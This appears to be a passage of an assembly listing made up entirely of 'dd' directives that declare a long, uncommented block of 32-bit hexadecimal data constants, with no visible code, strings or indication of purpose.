		dd 31E3AA09h, 713C5876h, 81A5A685h, 8F51DA18h, 0BF740779h
		dd 4F87DFADh, 838B67A0h, 0D9021BBAh, 0D743A216h, 17444E5h
		dd 4178DCB7h, 0C83DB5C3h, 3585CC9h, 7DF180F0h, 17BC3AD3h
		dd 1776B86Ch, 2785320h,	1A51DC20h, 3BF93CE0h, 8D9C926h
		dd 98E3190Eh, 0B06161h,	8F65820Bh, 6B2ED2FEh, 0C55CE800h
		dd 0F68B8AD3h, 0A4C8523Bh, 0A8A18D00h, 0BBFBB31Ah, 0C0949B5Ch
		dd 0F51D9958h, 74FA0724h, 3502EEF7h, 0AB98CC9Bh, 0FBE1E517h
		dd 81A6B40Fh, 97E340D7h, 9CE4CC50h, 0B49B1619h,	415A0EBCh
		dd 0D5DCDDh, 0AF369A8Dh, 8E09FE7h, 3EACC3Dh, 2F590DA4h
		dd 23814AD8h, 27904624h, 0D51F28E6h, 0F6CF4143h, 2F79A0B1h
		dd 707E9036h, 0E8BB0034h, 43202C71h, 0B72C9BE5h, 7361B42Bh
		dd 9FC716A0h, 94108D97h, 7F16346h, 1F3EB76Ah, 0F7008B07h
		dd 7B60C240h, 0C800E0ECh, 0A9982B99h, 12F8D779h, 911A42A5h
		dd 0EA0430E0h, 0C800B84Ah, 1C10FCE7h, 0A8B02CF8h, 3357A91Dh
		dd 0A8AA4F80h, 0E7ADBCFh, 99B3818Eh, 6D4690F8h,	0C00C2DEDh
		dd 0FDDEF9F5h, 7C47F25h, 0B2B1A08Ch, 352FF21Bh,	796DCA7h
		dd 691610B8h, 328D4FBh,	0BB24A4D2h, 39408CE4h, 129D5E5h
		dd 35CE4F23h, 0DCB3F3D4h, 3485EABh, 0F54B80F0h,	0DD093Dh
		dd 0C9C024ADh, 8BF75FFDh, 0E8F8692Bh, 39054303h, 18DAC0A2h
		dd 5D2200B8h, 0CA1342C9h, 43032C76h, 0CB411A9Eh, 33E4C198h
		dd 0EA14D185h, 0E549C3A6h, 0D68619E8h, 92957F39h, 0F420E85Ch
		dd 0B80406h, 6A44387Dh,	0FF94954Dh, 0B3D39A00h,	0A25E120Dh
		dd 0F7772CDBh, 0BCE71570h, 0CC94CA1Dh, 7F11FBC0h, 686E0D0Eh
		dd 0BD2F6415h, 315924B4h, 0BC9F528h, 0CC3BC83Ch, 8780C85Ch
		dd 29D0D197h, 9466E416h, 0F55100D8h, 0B8CA39DAh, 0F24B400h
		dd 31A288AFh, 5FB30035h, 9A8A80F1h, 0CE05F8A3h,	0AD065C95h
		dd 0C9457BC1h, 9103CCC8h, 90D41310h, 53CA60C0h,	80133Dh
		dd 0DAF1880Dh, 2D561238h, 46E2C374h, 70008CC4h,	5AE55D0Eh
		dd 77558B6h, 92D4536Ah,	0A47EA085h, 0B077FE1h, 5D361A7h
		dd 5806D0F0h, 0A0727419h, 0FF8CD38h, 5D8B64ACh,	71136C20h
		dd 81F5C9Eh, 2C4EE37Ah,	1DB6009Ah, 4CEAF1Bh, 0BE426AE1h
		dd 1FCA294h, 495FD5C7h,	8E40F04Ah, 381A12FFh, 424FB1F8h
		dd 0B9882A14h, 3A20DCE0h, 0AFEC903h, 0C0B17F42h, 295FECA4h
		dd 0DCC52Eh, 4813748Fh,	5230DAC1h, 5429693Eh, 0A95607B3h
		dd 70A5EA12h, 241DC40Bh, 522C7D00h, 340F44F7h, 0B1B91660h
		dd 354089Ch, 0AD906B80h, 18DFF08Ch, 19B101ABh, 0EF1C0FFEh
		dd 3B83C917h, 48BF9A29h, 3D2CAC80h, 208B592Ch, 8C9433ECh
		dd 3E19F240h, 0E4B7599Ah, 7549409Fh, 7EC35D7Fh,	1531BD00h
		dd 0AE9A8E77h, 3A59C02Bh, 0B99C6BF8h, 0EB2C9B00h, 8C26F3F4h
		dd 0B7B055Eh, 0C8019FB5h, 5800255Ch, 1298B039h,	105C9D3h
		dd 21D7F49Ch, 0EC8FE708h, 0B90061A0h, 632B60F5h, 6F4B775h
		dd 0EC21269Ah, 1F00B143h, 0C5BBBE1h, 1D92159Bh,	0FA859CD6h
		dd 611C00FEh, 877B4C8Bh, 590062A7h, 0AED458C2h,	12BFE91Eh
		dd 30FA0130h, 0F1A1FDA4h, 20520227h, 4C67C288h,	0B5800282h
		dd 0C930FB27h, 0D0EEA269h, 40003807h, 8BE242FCh, 48017713h
		dd 85004818h, 64C8EA51h, 48F0D9ABh, 0F9C0ADE6h,	0D099ED82h
		dd 0DE8C042Dh, 80250DD3h, 16B095A0h, 30FEC832h,	7F072E7h
		dd 84BA892Dh, 36392C5h,	6D12F064h, 0F400DA27h, 0B8B3A487h
		dd 3ECD8h, 17EA893Dh, 14181C6Eh, 0D1E32B00h, 5AF82C9Ah
		dd 0BCE44C94h, 3470409Fh, 0BFBD11EFh, 8F5F5407h, 0EAD2261Ch
		dd 9441203Ch, 30E09784h, 83A30C3Bh, 8152AF5Ch, 6160CA65h
		dd 9C22B79Fh, 61AEF601h, 634145A0h, 5F592CD0h, 0CA106600h
		dd 55518Eh, 0BE28C90Ah,	98B3A22h, 0F90540B4h, 50409FA5h
		dd 0EDF6791h, 66F2411h,	0AC1D4070h, 0D609B331h,	9207E3A4h
		dd 28E000A8h, 7427429h,	0FC68780Ch, 0BDD21044h,	0D1CE67EBh
		dd 7FCE4004h, 0F8A24AE4h, 410260EAh, 0BAB7106Ah, 50705200h
		dd 0CA347377h, 1D9A1999h, 4061E129h, 322FCED4h,	0BE6951C0h
		dd 0D191F3h, 0FB780A90h, 63B61670h, 0D4B57E00h,	2E6A8C29h
		dd 0B2310993h, 0E010067Dh, 6F3FF488h, 0E2BD0222h, 911B9BD7h
		dd 642933A4h, 0C1F6CC02h, 4C04D78h, 8588F9CBh, 98F4BA93h
		dd 0E7C82208h, 0B1EDB50Bh, 95D000E0h, 0AE8FD05h, 0E45577A9h
		dd 0D53A40C8h, 0EA00B7A2h, 0A586C018h, 13CFF71Eh, 99516A3h
		dd 180BD418h, 3DD5F500h, 0B307CBA0h, 5FF4A75Eh,	88C8B1D5h
		dd 0A9C90246h, 9FDB45CFh, 34805872h, 91008D26h,	0E0E10110h
		dd 2489609h, 0CD971BFBh, 0B4C4E4F5h, 0CA99840Eh, 65053781h
		dd 48C02C2Dh, 72F80FDh,	18B63671h, 0E9F14056h, 51208B0Bh
		dd 849D010Fh, 0DFBE7414h, 7F047350h, 888E0A00h,	0F806095Fh
		dd 0AE7200E0h, 173814D9h, 680C012Fh, 0A9EBE39Bh, 0F44B13FAh
		dd 0C1E40137h, 2233A1AAh, 0DC810018h, 5C3BB15Ah, 7FF00066h
		dd 3AA227DDh, 4678A158h, 5AE8AF54h, 71C73B01h, 0B663B481h
		dd 2180C028h, 11177482h, 0FA249500h, 0A6DBE373h, 58F10006h
		dd 4AC1AFD1h, 3A00873Bh, 8CE225A1h, 0B2612F47h,	310D2CCCh
		dd 5F240ECh, 903D715h, 0C06DC129h, 0A798B0A8h, 0ED33D27h
		dd 20A7583h, 0AFE0897Bh, 0BBF0FC78h, 80740148h,	4B548B81h
		dd 5D200ED5h, 0CB0448FBh, 326081EAh, 0AE69BA5Eh, 9E00372Eh
		dd 0EE1904D4h, 1DEA0273h, 76759A38h, 0B212D052h, 430023D7h
		dd 4D68B679h, 401CBC30h, 0F744E8AAh, 281FCA02h,	710364A9h
		dd 240A005Ch, 0E84280CDh, 0C31DF607h, 4059D101h, 0CE832E8Ch
		dd 0F8354549h, 2528047Fh, 0EEA2B00Eh, 0D51DD4C5h, 9AEAD844h
		dd 65ED4090h, 0CC970057h, 9084FCFFh, 8E48F16Eh,	0DF40702h
		dd 0F810598Ch, 474B458h, 6062F2B5h, 0C4CC8803h,	0BF0E21EEh
		dd 407051D9h, 62409726h, 7F310411h, 0B45213FBh,	27715AD0h
		dd 99BA7000h, 373F7C44h
		dd 0F24E01FEh, 321CFBB5h, 0C5A85036h, 10008361h, 0FE6A8ABBh
		dd 0B622340Dh, 52A8033Ch, 9E07E04h, 0C001B5Fh, 8EB7B5Bh
		dd 0BE9BED15h, 4E6C40E8h, 380211A4h, 5E3BAC53h,	0B79E43B9h
		dd 0C0F4EF2Fh, 23C9EB1h, 0CD6187Eh, 0A2EFC07Bh,	801C0158h
		dd 6A46E205h, 8BE000A0h, 7CC5BB32h, 0A1005F73h,	2F68428Dh
		dd 740835h, 81843DA4h, 8A5A7940h, 894B5130h, 1696A8Bh
		dd 3C26E095h, 7D298909h, 0DEC86038h, 0FC0BB999h, 1CD89E6Ch
		dd 4CD0B3Ah, 0D09B818h,	22C88E2h, 0D50450A4h, 0D8F2A925h
		dd 7A0A2000h, 0AA6C67B6h, 0BAA60100h, 374B1181h, 40D55A7Bh
		dd 326D4390h, 4600A23Fh, 4F2E628Dh, 0C8F040h, 66CDF824h
		dd 8138C754h, 7DD8A409h, 0A0B0C49Ah, 5EA0F2CEh,	49280813h
		dd 0BA0EDC80h, 36C4B47h, 59FC8F0Ch, 4DA8AAD2h, 0EC92C919h
		dd 0E3244550h, 3EF6BD00h, 0DEC40F48h, 0B7F70005h, 0EF4DC139h
		dd 0DCB9D8FCh, 1006EA4h, 0BE3CFB95h, 208E070h, 0B89FE9AAh
		dd 0C0680DBFh, 0D3652B59h, 28E23D69h, 42B7B600h, 0E190470Dh
		dd 581A2C00h, 0BC64F3EDh, 78BD01C2h, 0CEC892ACh, 0C3A470DBh
		dd 310A1016h, 0C265821h, 0F24EEFD0h, 5112006Bh,	0C1456698h
		dd 3017A405h, 64D0E4A6h, 0E65A28BCh, 86D50041h,	9D75F0D2h
		dd 778D668h, 6103DE09h,	4D4A809Bh, 0DFD7456Ch, 0D8003BDCh
		dd 86BCEA71h, 9CBCE37Ch, 81E41780h, 66B4CCh, 0D24FDBBFh
		dd 1CB79B1Eh, 44759813h, 0E181ACD5h, 7BFC912Fh,	0EBBE2E14h
		dd 0AF7640F8h, 5A005B2Ch, 8749B71Bh, 7366E1C1h,	278F004Fh
		dd 0E4CBF55Fh, 0F8072677h, 7B2A7D36h, 20827035h, 0F8B843B5h
		dd 1267402h, 0DABFAF5Bh, 893D3209h, 80B39261h, 534952Ah
		dd 0C12600D9h, 78A7B0E8h, 1400523Dh, 0C9480B25h, 0EA907F2h
		dd 0CD6A24DDh, 0C7D1B0A0h, 1904FA78h, 45B6827Dh, 0FEC0DC89h
		dd 9A8A015Dh, 0CD3B7889h, 3281D0EDh, 4DF83E00h,	1A8BF9EEh
		dd 1401489Ch, 5FFCEBC0h, 4E2E88D0h, 504080E8h, 264AB86Bh
		dd 8420147Dh, 0E06656F1h, 0C9C94414h, 31B0E807h, 0ED100067h
		dd 0B8478A2Ah, 7B000ED5h, 0C2B40488h, 91D1142Eh, 0F8638030h
		dd 0CC82CD25h, 0F4579100h, 38D064BDh, 0F9600218h, 0EABA34B0h
		dd 6002844h, 844152B7h,	65152Fh, 54882E97h, 0F3EE76Ch
		dd 8C9CD770h, 0A60C0B80h, 0EB7F50EBh, 6071ECh, 0B19E8C19h
		dd 321642CEh, 0C380F89Ch, 5F61BFF9h, 24CF02F0h,	0AACDFA4Dh
		dd 0C8A8F8D2h, 220BFCFDh, 0E8D423A2h, 4F26Ch, 4F1A7354h
		dd 0AE319DFh, 5682421Dh, 1ED33802h, 0EB28C452h,	0B4A4D0h
		dd 9488265Bh, 28434661h, 0A92D8890h, 5928903Dh,	0A6800F2h
		dd 8F806946h, 4F3E2C8Bh, 0C7ED851Fh, 4003E862h,	883CD425h
		dd 254EAD21h, 10629484h, 8D16FC40h, 0C393CF02h,	90EA1A42h
		dd 4854018Ch, 3022D4FEh, 331E6DECh, 2840447Dh, 0A0B542E6h
		dd 0EC5000C3h, 170F0C11h, 4D255DF7h, 3FCCC421h,	0FC7216h
		dd 0F35B9F49h, 0A48B77CBh, 0C3ACDD4Ch, 8830BE4Bh, 3EBE50Fh
		dd 0B4710899h, 8AC865B2h, 130D8C76h, 312D42C9h,	0A7CCA08Fh
		dd 0D8C8518Bh, 0E2A09228h, 98F44A27h, 22301403h, 83A064A7h
		dd 31CEC840h, 71CA1718h, 1AA4C88Bh, 7DA4E100h, 3B9125D4h
		dd 0D2120E44h, 82A53695h, 0AA8820E6h, 14006C3Ah, 6A8199CAh
		dd 972C9021h, 80D4C013h, 2D5912B1h, 7ACFF300h, 6EC3D370h
		dd 47E45B9Bh, 702FDE54h, 6BFE828Ch, 8F257F0Eh, 8E14803Eh
		dd 2EB11E9Dh, 404807D1h, 9E748AB9h, 4A6B6E00h, 0FF5248Dh
		dd 0B7DE1866h, 0B3057921h, 0F1716A00h, 0FB124A7Ah, 96781EC3h
		dd 983882BBh, 6F43CE9Eh, 0F3EE8091h, 3E369BE8h,	0BC88A14Ah
		dd 61273ACDh, 0EEEF79FAh, 0ED2E0460h, 0F46A9AA9h, 20953084h
		dd 0D7584DE8h, 0A08D0188h, 2EFE3A49h, 0A99820B1h, 3115B730h
		dd 8FD52Dh, 0F40D8DF2h,	0B63ECFDBh, 175AE059h, 0EC2030AFh
		dd 0DA72BEh, 0CA70BD3Bh, 9890F28Dh, 2C691C00h, 3F6809EBh
		dd 0DB4518DCh, 0A47EB1AEh, 269ACE01h, 0FDAC31FAh, 0E0F8BBF7h
		dd 946F6C42h, 0B37640A4h, 7316B1E7h, 0F8049A3Fh, 5641E6A7h
		dd 32ED8C26h, 0F9FC1F1Ch, 8F214140h, 257C0Fh, 6D59C74h
		dd 4DD18280h, 0CCE322h,	0A98BAAEEh, 29586AD8h, 0D0824300h
		dd 1ACA6F3Fh, 0C8900107h, 263EEA9Bh, 0D3F4602Eh, 0AF82592Fh
		dd 8FE0E48h, 0BF5380B1h, 150E735Ah, 69B3AF03h, 0F07198CFh
		dd 0F838BBh, 0C95E9727h, 0E39A1AF6h, 7C52752Eh,	7BBA7F40h
		dd 0B80E0064h, 0CF31E426h, 58BCAF9Ah, 9C5493C0h, 2A5D0320h
		dd 3F351A67h, 16AF09F0h, 0CF237102h, 443042BFh,	0DA1D02B0h
		dd 4C699A90h, 40D0D22Fh, 6F6BB5h, 77D89576h, 0F02C5637h
		dd 4C1F73Ah, 84F16DA7h,	803D9FE1h, 0D7A91700h, 0D21F0F43h
		dd 1823C200h, 0A59FB6D3h, 26950046h, 0A747FD99h, 6486EA9h
		dd 90B3804Ch, 70BF8148h, 64563B21h, 87935E01h, 60ECC75Ah
		dd 821E3DD4h, 102D543Fh, 2C6A84h, 679A02E0h, 4EB7B5Dh
		dd 6498BE2Eh, 93884402h, 0E15840A1h, 127177B4h,	0B430A0C9h
		dd 550F443Ch, 406DCC88h, 99655A3Ah, 0E81E61E3h,	3060E7A9h
		dd 0BCF2D000h, 0C0D5222h, 530283A4h, 98A0F38Ah,	343D7AADh
		dd 0C25F87B4h, 8E31F44Dh, 4C39C83Bh, 20314470h,	0B733C107h
		dd 81002F3Ah, 0E9A41B79h, 9830D2C9h, 0BAED3030h, 0E49F0D10h
		dd 0CD393260h, 9647383h, 19D8EDBFh, 0BD5A0C30h,	5E803C00h
		dd 2F1790EFh, 9DEF22Bh,	97228598h, 38E8142Bh, 0FA026D6Fh
		dd 960CB927h, 0FC4444h,	5ECC8FE3h, 4099AB69h, 8EF8541Eh
		dd 350A2184h, 32BF2180h, 0A6CC0ED8h, 84009F8Ch,	0CEB4ED82h
		dd 0C918F21Ch, 86F19618h, 0A6401756h, 0C72A07D2h, 1F707D0h
		dd 3232D827h, 0CD730030h, 0E5603745h, 0D7E30046h, 9895D9B7h
		dd 0AF021756h, 4814F5CEh, 800056B4h, 2FB5B1E6h,	0DD58B8D0h
		dd 7B1F00C4h, 3B8CEA3Fh, 1AC446Dh, 88465Ch, 298413E4h
		dd 617C6h, 0F1D349BEh, 9230726Eh, 0A3071099h, 5B94A1EFh
		dd 0E1B92147h, 0F0D95C0Fh, 99001696h, 93CEDC72h, 27FD5AEh
		dd 6C1E611Fh, 0B459170Ah, 0C4741D0Eh, 30F29243h, 0F5473400h
		dd 449ED876h, 0E71F09E8h, 6D016217h, 481820C0h,	9D0D2DEh
		dd 3608C27h, 0B3D298C8h, 7E57DD00h, 0ED637222h,	0BBF40579h
		dd 14181B5Ch, 22718B4h,	0E8DBB091h, 9300770Fh, 0CCC67432h
		dd 350D728h, 0D41B1AAEh, 9AE0E012h, 610CF8B3h, 0C23C7794h
		dd 7B66027Ah, 7C0C2B0Eh, 0FFB37E0h, 6AF0800h, 4C25F68Fh
		dd 0D8F47Fh, 2FA0E55Dh,	18E60135h, 0CEB51216h, 252BD440h
		dd 48790B0h, 3B32E504h,	80F4B809h, 0A394E62Eh, 100B1CE7h
		dd 0CA3500EDh, 6B46A425h, 8586551Ch, 6C81C469h,	0BE6DB92Dh
		dd 3440C8D3h, 7A6F09BCh, 4CC490D6h, 116EEE07h, 600085DCh
		dd 21F667h, 904827F1h, 96E78DE2h, 0C5209E5Ch, 22C04031h
		dd 87980Ch, 8EA40B3Eh, 0D49A4721h, 304E5613h, 0E5EA1C81h
		dd 370E6CEh, 1076FCC4h,	8883AACEh, 304491B9h, 52162088h
		dd 34018179h, 30E499CBh, 0F18D3980h, 0AA5818A0h, 81BF9B3Bh
		dd 41CBC2F8h, 2E8216h, 2E13067Ch, 0A6001235h, 819F1D7Eh
		dd 12328041h, 0D0EC403Dh, 0E6E1DE10h, 18338900h, 0D969E975h
		dd 0E3E2C7h, 0D5C68C31h, 0AFB0BC9h, 0A014D124h,	18E29412h
		dd 0A301007Fh, 9C5C052Fh, 0BF06E730h, 0DE4819D2h, 90EC0061h
		dd 0CF09AA14h, 8F005DE3h
		dd 96C58B2Ch, 4CF4CEA9h, 2D0388F3h, 0B842CD20h,	0CACFE880h
		dd 78F3F6FCh, 26598468h, 0A0BF4BDh, 28C46C48h, 636EFA04h
		dd 0F8F2C2E2h, 0FB02E400h, 0CF20EE19h, 91C55602h, 444D937h
		dd 737B4084h, 13353089h, 88185C20h, 8200A42Ch, 568BE5D7h
		dd 7CA250B5h, 0C9C60019h, 28589B64h, 5D78A189h,	0DDB1FE16h
		dd 0EF94C830h, 3202004Bh, 7FC6C05Ch, 32E199CEh,	42AF00DCh
		dd 2643E1B6h, 0C9880F98h, 81B4E8EBh, 8C21E900h,	17F2DEEh
		dd 1D7CEC00h, 0E8BF8213h, 54AF5E9Bh, 0EDCF68E4h, 589E87A0h
		dd 750FFE9Fh, 0A5F70B90h, 64E20896h, 0DF200C00h, 8583FCEEh
		dd 7B5EFE00h, 0B95D76DDh, 44A600D9h, 0E2F82B3Dh, 0F7482C9Ah
		dd 222D00ABh, 63D55AF9h, 2B9202CAh, 8542C294h, 0C544447Eh
		dd 0C4412C32h, 7C4920EEh, 82A80658h, 0C2CBCF6Ch, 0F1F16196h
		dd 1F7743C4h, 426A734Eh, 5E066FE8h, 5D0184F8h, 410C8B93h
		dd 78732D3Ch, 8C10F92Fh, 1500D255h, 239FFC25h, 15A3FA0h
		dd 700B7B4Eh, 6B658B75h, 0A3C43420h, 7E910005h,	0CFF2C0A1h
		dd 0B41C695Ah, 0FCA8622Ah, 7A860124h, 0EC264800h, 13BB0804h
		dd 0F2450265h, 5EBD0080h, 0AC601EF8h, 0F4A706A6h, 0DA61A143h
		dd 0D372DC1Eh, 36B92080h, 39563515h, 2B3DCC0Ah,	2C9BC980h
		dd 9499CAF8h, 23C3B30Bh, 608C816h, 90BF02B6h, 0E32A43D6h
		dd 54805C56h, 0BB3DE44Eh, 0F5FFA14h, 0D43EBEC0h, 77FB6340h
		dd 3C0A9B95h, 0C001CC24h, 4B84D467h, 0A6CE18A0h, 1D7A3098h
		dd 1BD06020h, 0B8FCF105h, 0AC88EAEDh, 0CF052493h, 7C6600F5h
		dd 88B8840Eh, 8632D000h, 0F3260ACAh, 80589EEDh,	296B8769h
		dd 0EB005A68h, 0FA54C3BDh, 0E0CEF782h, 4E7509EDh, 2400DFE6h
		dd 0E9F45E97h, 3C89670Ah, 5C2CB803h, 0EB00CC11h, 9CA35F51h
		dd 0BD006C92h, 0C26F1CD4h, 5DAA7Dh, 799D1DDEh, 0D08FB707h
		dd 22A2E604h, 0BCCC96FFh, 0B4520014h, 0AFE2B6EEh, 180702A5h
		dd 7FFDDA60h, 0BC83E020h, 8047B09Fh, 0F06A9660h, 61E100E8h
		dd 5B6FA2ACh, 7300467Ch, 406B357Ah, 13C249B1h, 1138C99h
		dd 60DE4278h, 2541CCC9h, 0D3DAE700h, 0A1E2B554h, 0B4CA5846h
		dd 0B63BF4C1h, 77F010B0h, 0A7A312BDh, 0CDC42045h, 197335AEh
		dd 0E100A079h, 0D57DDE17h, 173837F4h, 851C8C83h, 15078278h
		dd 4A00D871h, 4B7C5A80h, 9D0B030h, 77B19BEFh, 8364A8h
		dd 0F4CC3DE1h, 0D099689Ah, 2742CB04h, 7B59CC8h,	15425C2h
		dd 99D2C1CAh, 860303Bh,	0C409CC27h, 72010188h, 0FBDFB029h
		dd 3D4FD434h, 7CBDC95Ch, 0A3752502h, 882C3F7Ah,	0F701EC2Ch
		dd 1239B47Eh, 3E41E830h, 245F7C1Dh, 384CB2F0h, 0AE598023h
		dd 25085BB1h, 768C0937h, 2471C579h, 8817B900h, 0A5FA57h
		dd 58A0CD16h, 95D16993h, 47B19A19h, 80223029h, 0BD910B07h
		dd 5023509Fh, 0C600596Ah, 37094C88h, 2AA18h, 48D480C4h
		dd 458F9A2Ch, 0A9145D03h, 0B073908h, 32358E20h,	590D0010h
		dd 0F41F6400h, 0A95E9454h, 978F0111h, 1CADF556h, 0ED2FD42Ch
		dd 3020B85Bh, 350FE3h, 0CDC6319Ch, 0E774D1FCh, 456EAC00h
		dd 0AAC77D1Ch, 0A4BE090Ah, 60E807D2h, 100B1D5h,	0E14A0503h
		dd 4901A65h, 6327ABCh, 4CB209h,	6DDE3568h, 0E60E60Fh, 965E64B9h
		dd 0CD14D317h, 3A52DAA8h, 162FBC00h, 26D8A67Eh,	3E4003F6h
		dd 38C06E18h, 6A06B617h, 287110C8h, 0A4DBDAh, 0EA9A040Bh
		dd 0F3CE9F26h, 2480B9Dh, 0A02A581Ch, 5C33D74h, 0B9E419h
		dd 0BDC179A1h, 0F380B8CBh, 33F8F50Fh, 4342060h,	2493B2AFh
		dd 40643053h, 8D79131Bh, 8887C42Eh, 0AF9A0903h,	5890844Fh
		dd 2751EA9Bh, 20E864h, 0BF296155h, 0D1253100h, 0BC65A0CBh
		dd 9E97F35h, 956AF9Ch, 0C097941Bh, 0B69D6ECh, 0D056A00h
		dd 36A946D4h, 4094B4B3h, 0CBCAFF82h, 0B2002F79h, 3B16F1C6h
		dd 5F435C1h, 5872F596h,	40FCF42Eh, 0C4CBBA09h, 64E465h
		dd 5A747875h, 89D1D31Bh, 91DCBE15h, 87C50010h, 334D140Fh
		dd 0C88902B1h, 0B445D981h, 3CF029h, 0A47982EAh,	2E5DD0FBh
		dd 90F7ED14h, 0E0A28E68h, 43D20AC0h, 7BC7E25Ch,	1199E60Fh
		dd 5A3D679Ah, 7A2DC0CCh, 6B75CBCh, 4278C801h, 3071FDBDh
		dd 0C1064584h, 59321AD6h, 0A9760031h, 0FD537B68h, 0D6E205A8h
		dd 2D0A5E04h, 14C21356h, 3B887A1Ah, 0BDBFAA3Dh,	38D0C982h
		dd 2461A146h, 3DB5D957h, 0E0058B0h, 0C08DB2D5h,	442C5B0Dh
		dd 0F37B00C2h, 1906AA78h, 6A27AFFEh, 504420E3h,	0FC2E3454h
		dd 0B0312D39h, 10ADB010h, 236E0503h, 0C0BFC8BAh, 1686F37Ah
		dd 5C9AD8h, 87E37806h, 0C4265984h, 43402045h, 17956052h
		dd 2D67AB5h, 3C941917h,	220E8CF1h, 0E85000AFh, 1FFAE2h
		dd 630B539Ah, 9D9849A2h, 9072AEAh, 0C3D2EACCh, 0C5687313h
		dd 4281BC01h, 47CABCBh,	12722F80h, 16003EC3h, 0C7F8B96Ah
		dd 1433E9E1h, 0A489BA4Ch, 0BD509701h, 6094A625h, 2616514Ch
		dd 183338F0h, 0AA5A9BD5h, 0BB8098D0h, 7B81F36h,	0F975401Bh
		dd 1996E5B5h, 0CC4D5839h, 181D82C0h, 8208C1FBh,	0F3C96110h
		dd 0C0BECD26h, 417EE441h, 9AD818F1h, 0BCC90BF1h, 0D400314Ah
		dd 0BACA898h, 0DC3383B7h, 0EA47A8B9h, 0E9CD1EBDh, 10D2C0B0h
		dd 59EE2BCFh, 3607FFECh, 99DF0784h, 545B2610h, 8908B158h
		dd 5C98C8A3h, 0AE09D3D8h, 399383h, 0FA4DA40h, 282E4C3Ch
		dd 0E48F3085h, 94940714h, 64971880h, 0A6D1DDh, 4202B901h
		dd 529217EAh, 141ABB3Eh, 7B8461FEh, 60718Ah, 461D17B4h
		dd 5E0AD56Bh, 0B87F42EFh, 401FCC09h, 3EE97050h,	0E03DD44h
		dd 92C95D69h, 8B4DD4A0h, 593C0700h, 8243A429h, 8E21282Bh
		dd 42891E94h, 6E25042Ah, 0B350C8D5h, 48F07100h,	51993FE9h
		dd 27580170h, 0D3AC0486h, 3E7031B1h, 0EEDDB820h, 0A94D60B7h
		dd 9693D02Ch, 3D0E8538h, 1C177FA5h, 78A3F15Dh, 5B31A70Eh
		dd 494FBAE3h, 924C80ACh, 0CCB9F689h, 62A72780h,	0B0767Eh
		dd 695D1391h, 0E6A1343Bh, 871A8C01h, 0FA323EAFh, 85D1A2F5h
		dd 1E464C48h, 4015DDC9h, 5DA69891h, 0F826D24Dh,	404068EDh
		dd 1B1E8A1h, 4CCA2F7Fh,	2C831C63h, 85039644h, 91D8CD91h
		dd 5C805711h, 9499B90Bh, 1A0035CCh, 1D50148Dh, 0A634BF9Ah
		dd 0DED700F4h, 4A234F7Ch, 6500A639h, 0EFE0C53Dh, 2D25902Fh
		dd 9804138h, 2C9B99E7h,	0ABFB931Dh, 0AC158A01h,	5C207A64h
		dd 761424E5h, 7CC025ACh, 0A5020B95h, 42F754Ch, 6C8448EDh
		dd 0E9502810h, 365E006Ch, 0E7CD1F39h, 0BA13ED1Eh, 88A2E315h
		dd 8E752300h, 48E542EEh, 0E4337B00h, 0FB346573h, 1326FAD3h
		dd 0F2BD3074h, 8091F68h, 0BA9E987h, 0A0C655B3h,	2DF0CCh
		dd 62DF0D20h, 2B7C7A06h, 70FBBB02h, 7EC8308Ah, 0E65C6080h
		dd 3D03B9F7h, 9035D7A7h, 679B89D2h, 331BEC72h, 66F0A134h
		dd 21057073h, 9B5B04B6h, 1D80ECE8h, 94221ADCh, 239FAF02h
		dd 0AE486C1Ch, 0B5D62010h, 1F89325h, 0A129D024h, 6EAF9BE9h
		dd 0D43A2437h, 4A798A80h, 12F67752h, 0D816C4h, 7118FF87h
		dd 0A212B12Dh, 8232F3Dh, 1E539089h, 2EB507D9h, 20BFC619h
		dd 0AAD29E74h, 6646012Fh, 683050ACh, 41B1021Ch,	0E1D9A99Ch
		dd 0BAFB1860h, 427FFD00h, 0C7B06CC3h, 748FA06Ah, 0A05B0112h
		dd 435308Bh, 10003A8Ch,	971D6BB1h, 0A2601F61h, 180A1833h
		dd 0FC063ED6h, 2AD78259h, 6090B778h, 34001595h,	9D6F95Eh
		dd 0F07D25h
		dd 0BF105586h, 8B9A8156h, 5A97263Ah, 211AD800h,	244C9435h
		dd 60E8A9B5h, 63C736B8h, 0DDD6BA0Bh, 1F54E486h,	1EEEC9D2h
		dd 990640E9h, 351FA23Ah, 19C9785Ch, 0D4294DCBh,	745E2Bh
		dd 0C11333F3h, 721F88CDh, 6930B19Ah, 12C5263h, 819B718Ch
		dd 2EF988BFh, 69073C09h, 0D930AFECh, 9A8000FBh,	0B1E9B577h
		dd 8614F1DCh, 80B8EDF4h, 94AF1ECEh, 0B4A90437h,	0B4E4889Ch
		dd 2D00C9D0h, 41CA59BAh, 1CCB53C5h, 0C0B42283h,	0BE3337C3h
		dd 0E901291Fh, 6D87D9BFh, 4763BF4h, 4EB73Ah, 72D1FEFBh
		dd 1930ED30h, 9AAD0874h, 6734BE68h, 0A5E9F043h,	1E056959h
		dd 48098B4Eh, 30D374B8h, 1281D08Ch, 5838700h, 8B6CC2D7h
		dd 85E3040Eh, 0BCA49A8Dh, 82B98188h, 0F520D0AEh, 0F020509h
		dd 0C830A2C9h, 0BC0E3580h, 0BFBB5D63h, 62B9BA80h, 44AD13h
		dd 0D8156AA6h, 0A5721CC8h, 3879580Bh, 6688086h,	2CD4E709h
		dd 0A5B4B53Fh, 3DA54420h, 0E624D6D3h, 3740B4E5h, 777D5885h
		dd 877A0155h, 3CD96175h, 80646C13h, 0FA1056F3h,	48060309h
		dd 69EA5FD2h, 622659C9h, 3B820A70h, 0CC2B07Fh, 0B4C407h
		dd 7FE0CB20h, 0E9AA1EB6h, 37D95900h, 326A8164h,	0CD1D09FFh
		dd 0E44409EDh, 7A3AC5FAh, 4A730086h, 715C7B21h,	3B1BFED2h
		dd 420922C1h, 0FCDA2C3Ch, 8340454Ch, 0D0980F5Ah, 3B8AB863h
		dd 0F4A5B7h, 2E70020Bh,	5E85FBD8h, 0EF0635EAh, 42C92F72h
		dd 40075EE9h, 513E9444h, 5EFE96FBh, 0CB09C6B0h,	59263C33h
		dd 0E80A94D4h, 0FCC1A04Ch, 143A45C3h, 0DAA57BC0h, 16B9001Ch
		dd 17B0295h, 1F176C36h,	820435Ch, 0AF1079h, 0D594D4ACh
		dd 0A42A64B0h, 139C1500h, 0ABF5F72Ch, 0A73C0131h, 0B9E31202h
		dd 87B86C56h, 0BCB0EE19h, 7674FAF4h, 0F09A073Fh, 0AD153F1h
		dd 7B71D68h, 2078586Eh,	68B97A36h, 0C60EA800h, 73677F93h
		dd 8B509451h, 948018A7h, 0A006CA28h, 0D70C21F4h, 798D3697h
